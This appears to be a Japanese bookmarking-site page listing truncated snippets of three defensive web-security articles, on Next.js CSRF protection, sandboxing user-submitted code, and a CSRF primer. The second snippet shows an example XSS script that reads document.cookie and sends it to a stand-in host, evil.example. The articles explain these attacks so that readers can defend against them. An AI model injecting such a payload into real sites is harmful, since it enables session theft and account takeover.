Next.jsはどのようにCSRF対策をしているのか？ - プププなテクブ
最近、Next.jsがどのようにCSRF対策をしているのかを考える機会がありました。 そんななかで色々と学んだことを今回は書きます。 CSRFとは 本題に入っていく前に、いま一度CSRFについて改めて復習しておきましょう。CSRF(Cross-Site Request Forgery)とは、ユーザーが意図しないリクエストを攻撃者が勝手に送信させる攻撃です。以下に攻撃の一連の流れを可視化しています。 sequenceDiagram participant User as ユーザー participant Bank as 銀行サイト (bank.example) participant Evil as 悪意のあるサイト (evil.example) User->>Bank: ログイン（セッションCookieを取得） User->>Evil: 悪意のあるページを開く Evil->>User: 自
ユーザー投稿のコードをブラウザ上で他人が動かせるサービスを作るときのセキュリティについて
問題1: 他ユーザーの認証情報にアクセスできてしまう 投稿されたコードを普通にサイト内に埋め込むとXSSがやり放題な状態になります。 認証CookieのHttpOnlyが無効になっている場合 ユーザーがたくさん集まる超面白いゲームを作り、その中に以下のようなコードをしれっと含めると、そのゲームを開いたユーザーのアカウントの乗っ取りが可能になります。 <script> // 1. Cookieを取得 const stolen = document.cookie; // 2. 攻撃者のサーバーに送信 const img = new Image(); img.src = "https://evil.example/steal?cookie=" + encodeURIComponent(stolen); </script> CookieのHttpOnly属性が無効になっていると、スクリプトからCo
CSRF攻撃をちゃんと理解したい人のための入門：CSRFトークンは銀の弾丸ではない！ - Qiita
🔐 他のセキュリティ系記事もよかったらどうぞ： DDoS攻撃をちゃんと理解したい人のための入門と設計整理メモ CORSの誤解を解く：読み取り防御としての本質と限界を整理してみた CSRFの仕組みと防御を読み解く：CSRFトークンは銀の弾丸ではない ✅ この記事で触れること CSRF（クロスサイト・リクエスト・フォージェリ）の攻撃原理と実例 ブラウザ仕様としてのCookie自動送信の仕組み CSRF トークン方式の仕組みと実装例（Laravel） SameSite 属性（Strict / Lax / None）の違いと選択基準 SPA + Cognito など最近の構成での CSRF 対策の実情 JWT の保存場所による CSRF 耐性・XSS 耐性の違い UX とセキュリティのバランスがなぜ難しいか ❌ この記事で触れないこと OAuth 2.0 や OIDC そのものの認可フロー詳細
1
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
